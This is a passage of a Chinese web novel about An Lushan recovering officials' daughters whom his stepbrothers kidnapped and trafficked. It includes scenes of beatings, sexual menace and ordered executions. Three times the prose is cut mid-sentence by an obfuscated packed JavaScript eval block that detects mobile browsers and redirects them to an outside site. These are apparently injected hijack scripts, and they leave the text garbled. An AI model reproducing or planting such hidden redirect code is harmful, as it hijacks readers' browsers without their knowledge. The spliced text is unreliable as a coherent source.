那些日子里,他新官上任的这把火烧了整整三天三夜,冲天的火焰照亮了整个柳城,那些龙头老大们看着他们传承几代的产业就这么付之一炬,人直接崩溃了。 前提是,那些能崩溃的还得是来得及逃跑的,至于那些没来得及逃出生天的嘛...... 下场不言而喻。 自然也有幸存下来的想要买凶杀了安禄山,而后没过几日,那些杀手连同着他们雇主的首级,都被悬挂在营州的城门前。 从那以后,那些幸存下来的龙头老大们,无不对这位新都督毕恭毕敬,税是一个子儿不敢漏地全都补交上了,并且被安禄山彻底赶出了柳城。 因为这事风头波及得太大,就连安禄山的两个继兄都跟着受到了点影响。 此时安大和安二正呆在柳城外的一座私宅内,而在他们的面前,是十数个被捆住了手脚,用麻布堵住嘴的年轻姑娘。 正是那些被安二拐走的官家小姐们。 安二一边不厌其烦地数着面前那些姑娘的人头,一边高高兴兴地哼着小曲。 安大喝了一口酒,有些不耐地扭过头看向自家弟弟。 “别唱了,来来回回就那么几个调子,都唱了快一天了! 末了,他伸出手指了指那些被绑起来的姑娘:“这些货,能跟安禄山那个兔崽子要多少钱?” 安二竖起两根手指:“一个二十匹绫绢!” “二十匹?!”安大惊喜地瞪大眼睛,“那发了呀!” 总共三百多匹绫绢,够他们一辈子吃穿了! 他不由得走过去,笑着揽住了自家弟弟的肩膀,高兴道:“可以啊老二,真亏你想得出这么个好办法!” 不光他们兄弟两个今后的富贵日子有了找落,还能狠狠地敲那个兔崽子一笔! 安二听到兄长的夸奖,颇为自得道:“那是!” 他们如今还过着苦日子呢,凭什么那个兔崽子穿金戴银的! 那个兔崽子从前就是任他们打骂的,就算是如今当上了营州都督,那也得被他们耍得团团转! 末了,安大扭头看向那些挣扎落泪的姑娘们,猥琐的脸上逐渐露出一个坏笑。 反正这些小丫头都落他手里了,不如先让他来爽爽! 窑子里的那些货色都是千人骑万人跨的,哪有这些官家小姐滋味好啊! 他左挑挑右拣拣,最后选中了一个姿色最不错的,撸起袖子就要走上前去。 这时,外边响起了敲门的声音。 “安大,开门!” 听到喊声,安大有些悻悻地收回手,不耐地走了出去:“谁啊!” 等到他打开大门看清来者,这才松了口气。 但见站着几个凶神恶煞、虎背熊腰的男子,看起来暴躁易怒、极不好惹的模样。 一眼就能看出和安大是一类人。 事实也的确如此,这几个人和他都是在老大手底下做事的,都算是兄弟。 而那几个兄弟见到安大开了门,不由分说便推搡着安大往院里走去。 安大被那些人直接推进了屋里才堪堪停下,不解地看向那些兄弟:“你们干嘛啊?” 然而那些兄弟并没有理会安大,反而是扭头看向了被绑在角落里的那些姑娘们。 其中为首那个脸上带着刀疤的男子问道:“老大让我们来问问你,你先前说带来的这批货和营州都督有些关系,是真的假的?” “那当然是真的!”安大颇为得意道,“先前安禄山那个兔崽子不是害得咱们老大丢了好几家楼子吗,我这批货可全都是他手下们的闺女!” 这般说着,他搓了搓手,面上露出了一个谄媚的笑容:“虽说我这批货还留着有用,但若是老大喜欢,也可以挑几个漂亮的送给老大,随便打随便玩,就当是为先前的那档子事出口气了!” 话落,安大面上还在笑着,但那几个兄弟却是登时变了脸色。 为首的那个刀疤男狠狠地瞪着安大:“老大说了,若是你们这批货真和都督有关系,那这院子就不能借给你们了,赶紧带着这些货滚蛋!” 此言一出,安大登时难以置信地瞪大眼睛:“啊?!” “不是,为什么啊?!” 刀疤男冷笑着道:“老大让我告诉你,这个新来的营州都督可是个硬茬,你惹恼了他,那谁和你们沾上关系谁倒霉。” “看在先前的交情上,这院子可以再借给你们半天,让你们再找个地方。” “但是最迟到明天天亮之前,你们必须带着这些货滚蛋!” 此言一出,安大和安二都傻眼了,前者还要再开口说些什么,可那几个兄弟掉头就走。 待到剧烈的摔门声过后,两兄弟在屋里面面相觑。 安二恨铁不成钢地瞪了自家兄长一眼:“咱俩这招偷天换日,明明知道的人越少越好,你怎么还告诉外人啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588121|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “那是我大哥!”安大同样瞪着自家弟弟,“我大哥待我不薄,先前那个兔崽子毁了大哥那么多生意,我把这好消息告诉他,让他高兴高兴怎么了!” “那他现在高兴了?!”安二朝着自家兄长吼道,“他可真高兴,高兴地都把咱俩赶出来了!” 安大死死地握紧拳头,偏偏他还说不出什么反驳的话,颓然地扭过头,正好看到那些姑娘们正在呜咽着挣扎。 那些姑娘们的手脚都被捆了起来,此时只能趴在地上蠕动着,像条虫子一般。 正在气头上的安大径直走上前去,对着先前那个看中的那个抬手就是一个巴掌,紧接着便是各种拳打脚踢。 “还敢跑?!” “今个儿就算是天王老子来了,你们这帮贱货也跑不掉!” 末了,等到安大把那个无妄之灾的姑娘生生打晕了过后,这才把气给撒干净了,而后习惯性地看向自家弟弟。 “老二,你可得想个办法啊!” 他这般说着,忽地想到了什么,连忙问道:“你先前联系的那个客栈老板娘呢?咱们不能把货藏在她那吗?” 此言一出,安二登时难以置信地看向自家兄长:“你是不是傻?!” “出了那么一档子事,那家客栈指不定什么时候就被安禄山那个兔崽子给围起来了,我临走的时候刚告诉水云嫂子,让她留下信就赶紧出城去避风头,你还敢回去找死?!” 安大被自家弟弟劈头盖脸地骂了一顿,面上也是相当不好看:“那你说怎么办吧!咱们总不能就把这些货放在大街上吧!” 安二眼神阴鹜地看着脑子缺根弦的兄长,低头沉吟了许久,才叹了口气道:“我和东坊赌场的肖老大有些交情,你在这看着,我去找肖老大,看能不能把货藏在他那。” “那太好了!”安大连忙道,“那你快去啊!搬弄这些货物还得花上半天呢!” 闻言,安二冷哼了一声,而后从椅子上站了起来,转身出门去了。 而与此同时,安禄山也带兵包围了城郊的那家客栈。 亲兵一脚将客栈的门给踹开,将里面正在擦桌子的小厮给吓了一跳。 末了,还没等到那个小厮开口说些什么,孙孝哲一把上前拎起前者的衣领,怒目道:“让你们老板滚出来!” 他话音未落,头顶处便传来了一道懒散而又柔媚的声音:“哎哟哟,这都是谁来了呀?” 众人闻言抬起头,但见到一个长相艳丽、颇有韵味的女子正倚在二楼的栏杆旁,见他们注意到了自己,这才迤迤然下了楼梯。 老板娘水云微微眯起那双妩媚动人的眼眸,缓缓掠过下面的每个人,最后在安禄山的身上停了下来。 而后,那张鲜妍的脸上露出了一个欣喜的微笑。 瞧瞧这身装束,瞧瞧这个姿态,瞧瞧这个气质! 绝对是个不得了的大人物! 她这般想着,越过重重官兵,一步步靠近安禄山,朱唇轻启,含笑着道:“清汤大老爷呀,这是怎么回事呀?我们客栈小本生意,哪里轮得着军爷赏光前来呀?” 安禄山漠然地看着扭动着腰肢、矫揉造作的老板娘,右手微微翻转,腰间佩刀已然出鞘,横在了老板娘的脖子上。 冰冷的刀刃微微泛着寒光,轻轻抵在老板娘水云那细嫩的脖颈上,让她吓了一跳。 看着眼前人蕴藏着杀意的目光,她这才意识到,面前这位军爷绝不是个好惹的。 不过…… 不好惹那就如何,自古英雄难过美人关,她先前征服的那些男人,不也是没一个好惹的! 这般想着,水云的眼珠子微微转了转,随后含笑着掏出了一封信。 “前些日子有位姓安的郎君给奴家留了一封信,说要奴家转交给他的弟弟,不知道可是各位军爷中的哪一个?” 33. 赌瘾又犯了 闻言,安禄山微皱起眉头,朝她伸出另一只手:“拿来。” “您就是安郎君的弟弟?”水云好整以暇地看着安禄山,末了伸出手指,戳了戳架在自己脖子上的刀,“那您先把刀收起来嘛,奴家看着害怕~” 酥麻的语气没入安禄山的耳中,他全身都起了一层鸡皮疙瘩,而后无声地收回了佩刀。 见此,水云不由得妩媚一笑,伸出藕节般白皙娇嫩的玉手,将那封信塞进了对方的怀里。 安禄山无视掉对方做作的模样,将那封信从衣襟里抽了出来,粗略地看了一遍。 随后不由得发出了一声冷笑。 好啊,安大和安二那两个畜生,劫质都劫到他头上来了。 看来他自就任营州都督以来最大的错误,就是太过仁慈,没有早点把那两个畜生给剁了。 水云看着面前的安禄山盯着那封信一动不动,好奇地探头凑了过去:“里面写了什么呀?” 而后被对方布满寒意的眼神吓了一跳。 “这,这位军爷,您别生气嘛。”水云干笑了两声。 末了,她伸出手环住了对方粗壮有力的手臂,娇声道:“奴家不才,却是同那安二有些来往,若是军爷愿意,奴家定知无不言,为军爷分忧~” 这般说着,她那柔软的娇躯微微向前倾,整个人几乎都要贴到了安禄山的身上。 看着面前的老板娘明送秋波,安禄山微微挑起眉头,而后捏起对方的下巴,仔细地端详了起来。 长得确实不错。 只是可惜...... 嘴巴倒是稍微有那么一点相像的。 但也只有那么一点。 “你知道我是谁么?”安禄山微微眯起眼眸。 这水云倒是不知道。 她也不需要知道。 她只要知道,面前的这个男人定然地位极高,能摆平许多事就够了。 自从今年夏天新营州都督就任以来,她仰仗的那些地下龙头们全都被迫迁出了柳城。 没有了靠山的保护,她的处境也是一天不如一天。 其实她倒是也能跟着那些靠山一起离开柳城,到营州的其他地方过活,但是她不愿。 柳城是营州的治所,其他的地方哪有柳城过得滋润! 现在那些靠山走了,那她再找一个就是了,正巧前段时间安二来找她,说要她配合搞一个都督府的大官,事成之后,她占两成。 钱倒是其次,但是这个都督府大官嘛...... 在都督府当官,这可比她从前仰仗的那些,只会经营些见不得光的生意,在背地里耍手段的地下龙头们都强多了! 这般想着,水云伸出一双玉手握住对方的手腕,含笑道:“奴家知道,郎君风神俊朗、英武非凡,定然是位响当当的大人物!” 安禄山不禁嗤笑出声。 而后附到对方的耳边,低声道:“我是营州都督。” 闻言,水云不由得吃惊地捂住嘴,那双妩媚动人的凤目里顿时迸发出了欣喜的亮光。 营州都督?! 眼前这位,居然就是营州都督本人吗! 那个用铁血手腕,把她先前那些靠山都赶出柳城的营州都督本人! 想到此,她那张妍丽的脸上笑得更加妩媚了。 “那太好了!”她伸出细嫩的手指轻轻钩住面前人的衣襟,带着他就要往客栈后面走去,“奴家知道许多有关安二和那些姑娘们的事,都督跟奴家来,咱们慢慢说呀~” 这可是统管整个营州的都督,她一定要搞到手! 若是能有都督作为靠山,那她在柳城岂不是横着走了! 对不起咯安二,别怪嫂子无情出卖你,这人啊活在这世上,总得为自己考虑的! 水云在心里把算盘打得哗哗作响,然而还没等她走出两步,安禄山便一把拽住了对方钩在自己衣襟的手,而后丝毫没有一点怜香惜玉地把人给甩了出去。 “哎呀!”水云不受控制地跌倒在了地上,楚楚可怜地看向安禄山,“都督,您怎么这么对奴家嘛!” 谁料安禄山却是扭动着自己的手腕,面无表情道:“把人带回去,严刑拷打。” 此言一出,水云登时难以置信地瞪大眼睛。 这人是和尚还是傻子! 她都说了知无不言,这人怎么还这样! 眼见着周围的士兵已经走上前来,想要把她抓起来,她连忙道:“我说!我都说!” 她早已经见识过了营州都督对付人的手段,狠厉无情、杀伐果决,对方说的“严刑拷打”,四个字里绝对不会有一个字是虚的! 小命要紧啊! 闻言,安禄山低头看着对方满脸惊恐的神色,这才俯下身拍了拍对方细嫩的脸蛋,缓缓笑道:“把你知道的全都说出来。” “老老实实地交待,不管是美人计还是其他花招,在我这都行不通。” ...... 安二完全没想到,他临走时千叮咛万嘱咐水云赶紧离开柳城,然而对方非但没走,还想着出卖他。 结果最后还偷鸡不成蚀把米,把自己也给搭进去了。 彼时安二已经联系好了赌场的肖老大,等到傍晚,赌场便派了人来,把那些姑娘给接走了。 赌场派来的人把那些姑娘们细细大量了一遍,不由得对着安二啧啧称奇:“你小子可以啊,从哪弄来的这么一批上等货。” 眼白没有一点发黄,牙根也是上佳,绝对是从小就精细着养大的。 安二谄媚地笑道:“肖老大喜欢就好。” 等到那些人把姑娘扛走之后,安大有些疑惑地看向自家弟弟:“怎么你认识的那个肖老大这么热心,给你提供地方不说,还专程派人来帮你把货给运过去?” 安二摆了摆手:“你和你老大关系好,我和肖老大关系还好着呢!” 但其实他没有说的是,他哪里是跟肖老大借了地方,而是直接把这些姑娘送给了肖老大,用来给自己抵债了。 不仅能抵债,他还挣了不少钱呢! 只是这件事,却是只有他自己知道的,谁让他这个兄长找的人和地都不靠谱,害他们的风险变高了。 既然风险变高了,那他自己额外再多捞一份钱,也不过分吧! 只是为了这事不被老大知道,他特意跟肖老大说不必把钱给送来,先在赌场里放着,等他回头去拿。 一想到赌场,安二不由自主地搓了搓手。 他都这么久没碰赌了! 想到此,他的一整双手都在微微发痒,不管怎么挠怎么搓,却始终都觉得痒意难消。 眼见着天色愈来愈深了,安二看到自家兄长裹了裹身上的衣服,随便找了个墙角坐下,打算倚着墙根睡过去。 那身衣服自打他十几天前,在自家门前见到自家兄长的时候,就一直被对方穿在身上,到现在已经穿了小十来天了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601336|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这十来天里他们摸爬滚打,睡不好也吃不好,日子过得比狗都差。 更重要的是,这十几天里,他一把骰子都没摸过! 安二的眼中明灭闪烁着,半晌过后,终于做出了决定。 等到自家兄长睡着了以后,他就自己溜走! 先去赌场把钱拿了,然后再顺手坐下来玩两盘,等玩完了他再把钱藏好,最后等到天亮前再回来! 打定了主意的安二心里终于不那么煎熬了,他找了把椅子坐下来,是不是偷瞟自家兄长一眼,等待对方睡着。 却不曾想他瞥向对方的目光很快就被察觉了,安大睁开眼睛,开口问向自家弟弟:“你看什么呢?” 安二心里一惊,不动声色道:“你睡得可真香啊,这么随便一缩都能睡着。” “我就不一样,没有榻就浑身难受。” 安大不由得嗤笑了一声:“你小子打小就伶俐,爹也偏心你,稍微大点就谋了份好活计,从小到大就没吃过多少苦。” “你哥我就不一样了啊,出来自己混以后,那是泥里打滚,为了几文钱都能和人拼命,山洞都睡过,这点苦都不算什么。” 末了,安大不由得苦口婆心地劝自家弟弟道:“要我说,你把你那个赌瘾给戒了,攒攒钱,再娶个媳妇,好好过日子,不好吗?” “指不定以后就能混得比安禄山那兔崽子强了呢!” 闻言,安二不由得抽了抽嘴角。 这话说出来,也就哄哄小孩儿吧。 要是他也能当上营州都督,那真就是安家祖坟冒青烟了。 只是他好不容易不去想赌博的事,结果对方一提到“赌”这个字,就让他克制了好半天的努力都白费了。 安二有些烦躁地摆了摆手:“赶紧睡你的吧!” 安大见自家弟弟不乐意听了,冷哼了一声,翻了个身睡自己的去了。 没过多久,阴暗的墙角处便传来了震天的鼾声。 闭目养神的安二随即睁开眼,慢慢从椅子上站起来,轻手轻脚地来到门前,小心翼翼地拉开门走了出去。 腊月的夜里寒风习习,漫天的雪花自黑夜的天幕里飘扬而落,将整个视线都点缀成了银白色,比满天繁星还要璀璨。 雪不知是开始落下的,堆积在地上竟已到小腿那么厚了。 安二深一脚浅一脚地踩在雪地里,应迎着寒风往外走着。 所幸今夜虽冷,风却不大,不至于寸步难行。 而安二已经感受不到什么冷不冷的了。 他现在满脑子都是赶紧去赌场,拿到肖老大给他的钱,然后再玩两把大的。 往常他进赌场的时候兜里都没几个子,玩的也就是掷骰子比大小。 但这次不一样了! 这次他有了那么多钱,怎么也得来把六博过过瘾! 两把,就玩两把,过完瘾他就走! 要是还能赢一把,让他把输掉的本钱都赢回来,就更好了! 他玩赌博这么多年了,全部身家都扔进去了,如今也该赢回来了吧! 三十年河东三十年河西,风水轮流转,今日月黑风高的,正是转运的好时机啊! 安二这般想着,人已经来到了院门前。 他伸出冻得有些发红的手将大门拉开,随后往外迈出了脚步。 就在这时,身后传来了什么细微的声音,还未等他回过头,整个人便已经扑倒在了地上。 34. 查一还送二 “哎呀!”安二狼狈地趴在雪地里,直接摔了个狗吃屎。 末了还未等他反应过来,两条胳膊已然被人从背后钳制住。 随后,安大暴躁的声音在他的头顶响起。 “你想跑去哪!” “你……你松开!”安二慌张道,“我去解手啊!” “解手?”身上的安大冷笑了一声,“放你的春秋大屁!” “快说!你是不是想自己把那三百多匹绫绢给独吞了!” “我没有啊!”安二惨叫道,“哥你松开我,我胳膊都快折了呀!” 然而安大却丝毫没有松开手的打算。 别以为他不知道,从小到大,他们俩明着确实是一起欺负安禄山那个兔崽子的,可是在暗地里,他这个弟弟早就阴过他好几次了! 从前他年纪小缺心眼,对这个弟弟防不胜防,好在从前也都是些鸡毛蒜皮的小事,那些哑巴亏他咽了也就咽了。 但是现在这个事,这可是三百多匹绫绢,他整个下半辈子的倚仗! 这个亏他决计不可能再吃了! 这般想着,他拽着安二的胳膊,往反方向猛地一扭,厉声道:“快说!你要去哪!” 随着安大这一使力,安二顿时疼得哇哇大叫。 “我说,我说!哥你别使劲了,胳膊真的要断了呀!” “说不说!”安大眼中闪过一丝狠厉,随后加大力道。 安二哭嚎着道:“我说我说啊!我手痒了想去赌场!你松手啊!” 闻言,扭着他胳膊的动作停顿了片刻,背后那人似乎是相信了他的回答,松开了对他的掣肘。 感受到胳膊上的力道消失了,安二连忙从地上爬起来。 “你他娘的还动真格的啊!”他一边揉着自己的胳膊,一边冲着自家兄长骂道,“我他娘的可是你亲弟弟!” 安大冷哼了一声,末了伸出手,把自家弟弟往院子里拽:“回去!” “回什么啊!”安二叫道,“我要去赌场!” “去什么去!”安大瞪了他一眼,“在安禄山那个兔崽子把钱送来之前,你哪也不许去!” “那怎么行!老子现在就要去赌场,你别拦着老子!”安二使劲挣脱着兄长的桎梏。 然而安大毕竟是混□□的,整日里和人打架斗殴,制服一个从小就没怎么干过粗活的弟弟还不简单? 最后安二还是被自家兄长拽回了屋里,眼看着对方拉了把椅子往门前一坐,将他偷溜出去的路完全堵死了。 他死死地瞪着自家兄长,但是除了干瞪眼什么也做不了。 他又打不过他哥! 安大瞧着自家弟弟气得跺脚的模样,脸上露出了一个嘲讽的笑容。 “你别白费力气了。” “等到安禄山那个兔崽子把钱送过来,咱俩一人一半分完,到时候你爱去哪去哪,我也懒得管你。” 然而他越是这么说,安二就越是不服。 妈的,他就不信了,这个赌场他今天就非得去! 安二焦躁地在昏暗的屋子里转了一圈又一圈,最终想到了一个好主意。 他踱步来到自家兄长的面前,笑着道:“哎哟,你不就是担心我带着钱跑了嘛,多大点事儿!” “这样,你跟着我一起去,不就行了!” “跟你去赌场?”安大看了自家弟弟一眼,而后悻悻地扭过头,“我不去。” “那可不是个好地方。” “有什么不好的?那地方又不吃人。”安二循循善诱道,“反正咱们明天天亮之前也得滚蛋,到时候也没地方去。” “我和肖老大那么熟,他白天还派人来帮咱们搬货呢,咱俩去投奔他不好吗?” 安大仍旧摇头:“不去。” 安二瞧见这家兄长油盐不进的样子,气骂道:“你这倔得跟头牛似的脾气什么时候能改改!” “改不了!”安大不耐地挥了挥手,“你就别瞎费心思了,明天天亮之前,你就别想出这个门!” 安二死死地瞪着自家兄长。 他偏不! 今天他说什么也要去赌场!谁都别想拦他! 末了,他干脆指着自家兄长的鼻子道:“我看你就是不敢去!” 此言一出,安大登时抬起头,声音都高了好几个调:“我不敢去?!” “我有什么不敢的!” 见状,安二便知道这招对自家兄长有用了。 他不由得冷笑,果然对付这头死要面子活受罪的倔牛,就得用激将法啊。 这般想着,他继续添油加醋道:“你要是敢为什么不去!” “你先前老吹你和你那帮兄弟们杀人越货,什么都干,我看都是假的吧!” “我就从来没听说过,杀人放火都敢干的人,去个赌场都吞吞吐吐的!” “你放屁!”安大“蹭”地一下子站了起来,转身就踹开了门前的椅子,“老子怕你不成!” “去就去!” “你给老子带路!” 黑暗中,安二看着气势汹汹往外走的兄长,脸上露出了一个得逞的微笑。 然而他不知道的是,他们今夜去赌场的这一趟,却正好歪打正着地把自己送到了安禄山的手上。 安二本来是很狡猾的,他拐人找的是水云,可是藏人找的却是安大那边的人。 这样一来,两边都只知道这计划的一小部分,而安禄山即便抓到了那些人,能从那些人嘴里撬出来的线索也是少上加少。 只是他没料到的是,自家兄长的老大居然临时变卦,把他们给赶出来了,于是他只好将全部的砝码全都压在了自己这边。 而他今夜赌瘾难耐,居然还带着兄长跑去赌场,无异于自寻死路。 只是此刻他已经什么也顾不上了,他现在整个人全身都在发痒,满脑子想的都是他要去摸一摸六博的棋子,听一听骰子撞击的响声。 · 安禄山知道,先前他把那帮地下生意的龙头们赶出柳城一事,虽然让他在营州树立了威信,但也让不少人对他怀恨在心。 倘若那帮人知道失踪的那些姑娘们和他有关,好点的情况是那帮人会知趣些,给他亲手送过来,避免惹祸上身。 但若是差点的情况,那帮人把那些姑娘杀了泄愤也是很有可能的。 安禄山不敢冒险,最后派了手下的精兵悄悄潜入那些人经营的赌场青楼刺探消息,以免打草惊蛇。 他让水云给每个潜入的卧底都写了封推荐信,确保他们不会被怀疑,同时也能更加方便地打探到消息。 没过几日,手下们便纷纷将刺探到的情报回传给安禄山。 经过核对,最后确定了有一家赌场前些日子接受过一批“货”,算算数量和时日,很有可能就是安二拐走的那些姑娘。 并且,那家赌场里还出现了疑似安大和安二的身影,与安禄山先前提供的相貌特征一模一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617644|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那两人沉浸在赌场里已经许多日了,和大多数普通的赌徒一样,埋头沉迷于赌博,满面污垢,披头散发,嘴里不断地嚎叫着“大”和“小”,宛如恶鬼一般。 得知消息后的安禄山,脸上泛起了冰冷的笑容。 有那么一瞬间,他想要把他的母亲和继父带过去,让他们看看他们的好儿子,都沦落成了什么模样。 但也只是一瞬间,随后那些想法便在他的脑海中转瞬而逝。 与此同时,一个更好的想法在他的脑中浮现了出来。 他们当然是要见见他们的好儿子的,但不是现在。 最后安禄山亲自带兵把肖老大的赌场给围了起来。 当平卢军包围赌场的时候,安大和安二都还在赌场里埋头赌博。 他们两个早已经输红了眼,不仅把卖那些姑娘换的钱全都输了进去,还几乎要把那三百多匹绫绢给欠没了。 他们和周围所有的赌徒一样,目眦欲裂地盯着桌面上的骰子,嘴里大喊着:“小,小!” 最后出来的却是大。 有小部分输得差不多的人垂头丧气地离开,但更多的人仍旧站在桌边,不舍得离去。 安大大声骂了一句,随后问向自家弟弟:“还剩下多少?” 安二沮丧地叹了口气:“就还剩三匹绫绢能赊了。” “全押上!”安大吼道,“这把一定能赢!” 然而他话音未落,身后便传来了一阵骚动。 不知是谁惨叫了一声,紧随其后的是甲胄铮铮作响的声音,与一道中气十足的喊声:“让你们老板滚出来!” 下人来通传的时候,肖老大正在赌场二层的单间里喝酒,得知营州都督带兵过来以后,吓得人差点从椅子上摔了下来。 不是,那个安禄山又要干嘛?! 他最近也没犯事啊! 只是抱怨归抱怨,对于这位从小就惯有不祥名头的杀神,肖老大是一点不敢怠慢,匆匆地跑出去迎接。 结果等到他胆战心惊地听完了事情始末,才知道是前些日子安二给他送过来的那批货出了问题。 那些货早就被送到他在附近开的青楼妓院了,算算日子,若是有些调教得快的话,应当已经出来接客了。 安禄山听他哆哆嗦嗦地解释完,手上的刀往前微微一抵,在对方的脖颈处留下了一道鲜红的血口。 “她们里边但凡有一个人少了一根手指头,你少两根。” 话落间,肖老大的脖颈处已然传来了冰冷的刺痛感,对方的话语更是让他自脚底升起了一股寒意,迅速蔓延至全身四肢。 他连忙招呼亲信去到各家青楼妓院,让他们把人给接回来。 大抵过了半日以后,那些姑娘都被接了回来。 好消息是,这些姑娘毕竟出身官家,都要自己的气性,没有一个肯服从鸨母的管教,因此都还没能被拉上台面接客,身子尚且都还是清白的。 坏消息是,也正因着她们不肯服从管教,每个人都饿得皮包骨头,身上也都带着好多伤。 安禄山做事一向说到做到,他让手下数了数那些姑娘们身上有多少道伤痕,然后把肖老大给带了下去,挨双倍的打。 若是打完了能活下来,就算他命大。 若是活不下来...... 尸体挂在柳城的城门前,以儆效尤。 等收拾完了肖老大以后,安禄山这才略微一摆手,让手下把安大和安二给押了上来。 35. 梦到了大婚 说起来,他和这两个继兄已经时隔四年没有见过面了。 四年前,他还是一个连饭都吃不饱的户市牙郎,奔走在营州的边境,每天说着不同的藩语,低三下四地向上边的长官亦或有权势的同行们卑躬屈膝。 做牙郎这一行的,大多数都是背后有人脉的,即便是边境的互市牙郎亦是如此。 那些有人脉的互市郎大多是互市监亦或互市丞的亲戚,摊位都在最好最显眼的位置,收的换的也都是最顶级的货物,又因着得上边照顾,交的税也少,早就已经把大部分利益都瓜分完了。 而他们这些没有人脉的后来者,就只能为了从那些人指缝里漏出来的一点利益拼命。 但即便是如此,那也要比起他人生前十四年里寄人篱下的日子要好多了。 哈...... 幸好,他后来得机遇入了行伍,到现在也算是苦尽甘来了。 从今往后,他再也不需要低三下四了。 安禄山闭上眼睛深吸了一口气,再睁开眼时,安大和安二也已经被带到了他的跟前。 安大和安二恐惧地看着面前这个腰间佩刀,身着绸缎的高大身影,一时间六目相对。 这时他们才发现,从前那个匍匐着从他们□□爬过去也不敢有怨言的继弟,如今竟已经变得这般高大威猛,站在他们的面前,宛若一座巍峨的高山。 而安禄山居高临下地俯视着面前两个双腿不断发抖的继兄,仿佛在看两只蝼蚁。 他将目光落在了始作俑者安二的身上,冷声笑道:“行啊,老二。” “我回来以后,还没来得及找你们的麻烦,结果你们先算计到了我的头上是吧。” 他这般说着,活动了一下自己的手腕,漫不经心道:“正好趁这个机会,咱们也该算算总账了。” 此言一出,安二全身都哆嗦了一下,恐惧的脸上挤出了一个比哭还难看的笑容。 “禄,禄山啊,这事你听哥哥给你解释......啊!” 他尚未说完,安禄山已经一拳打在了他的面门上。 安二清晰地听到了自己鼻梁骨断裂的声音,他摸了一下自己的鼻子,却摸到了满手的血。 “安禄山!!!” “你怎么敢这么对我!” 闻言,安禄山不由得狞笑道:“我为什么不敢?” 他说着走上前,伸手抓着对方的衣领,竟是直接把人给提了起来。 “你,你,你想干什么!”安二整个人被腾在半空不断挣扎着,声音里逐渐多了几分哭腔,而后一股暖流自胯|下涌出。 空气中也登时多了一股尿骚味。 安禄山本来想着狠狠地打安二一顿,出口恶气的,结果对方居然这么快就被吓得尿裤子。 他嫌恶地把安二给扔了出去,目光看向了自己的另一位继兄:“你呢,老大?” 安大此刻就算再傻,也知道和自己的继弟硬刚就是在作死。 他当即跪了下来,磕头求饶道:“我,我们错了!” “安……营,营州都督!您大人有大量,就饶过小的一次吧!” “连你也变得这么软骨头了?”安禄山讽刺道。 见到昔日向来目空一切、稍有不顺就拿自己出气的继兄如今却匍匐在地上,像只狼狈的野狗一样,安禄山的心里非但没有感受到得逞的快意,反而觉得有些无趣。 “这可不行。”他抬起脚踩在安大肩膀上,捏着对方的下巴强迫对方直视自己,“你可是柳城出了名的市井无赖啊,不是号称天王老子来了都得给你跪下么?” “硬气点儿,和我打一架,打赢了我就放过你,如何?” 这一脚差点把安大整个上半身的骨头都给踩碎了,而捏在他双颊的力道更是大得离奇,好似稍微再一用力,就能把他的头颅捏爆。 安大颤颤巍巍地看着面前的继弟,目光落在对方那被衣袍遮住的肥壮身体上,仿佛能透过那厚重的衣物,清晰地看到对方隐藏在皮脂表面下的垒垒肌肉。 而随着捏在他双颊的手稍一用力,对方的手臂顿时肌肉鼓起,紧绷着厚重的衣料,仿佛下一刻就能把这身衣服撑爆。 而对方的目光,更是带着山雨欲来风满楼般的气势。 眼前的这个继弟,早已脱胎换骨了,自己绝对不可能是他的对手。 “我,我,我认输!”安大哭喊道,“您就饶了小的这一次吧!” 安禄山冷笑了一声,重新站直了身体。 “把人带下去,明日午时,押到西市杖杀。” 此言一出,安大和安二几乎是同时高喊道:“你不能这么对我们!!!” “我们是你的兄长!”安大嘶声力竭道,“你敢杀了我们,爹不会放过你的!” 闻言,安禄山扭头瞥了一眼兄弟两人垂死挣扎的狼狈模样,面上露出了一个诡异的微笑。 “你们放心,我会在明天午时,派人把你们父亲带到西市的。” “让他亲眼看着你们被活活打死。” 此言一出,安大和安二整个人都不受控制地跌倒在地,瘫软着身体被士兵们拖走了。 而安禄山也再没有耐心多看他们一眼。 随着他一声令下,手下的平卢军迅速集合,骑兵翻身上马,步兵收刀列队,全军浩浩荡荡地离开了此地。 ...... 等到奔波忙碌了一整天的安禄山回到自家的府邸时,已经近乎半夜了。 那些姑娘们已经被他安排人送回到了各自的家中,根据手下们回传的禀告,那些姑娘们的父母先是说着感谢他救回了自家女儿,改日必备重礼登门感谢,后面所说的话中竟然仍旧想着把自家女儿嫁给他,言辞颇为恳切。 安禄山望着外边已经浓重的夜色,长舒了一口气。 娶妻啊...... 他迄今为止的整个前半生,都在小心翼翼地活着。 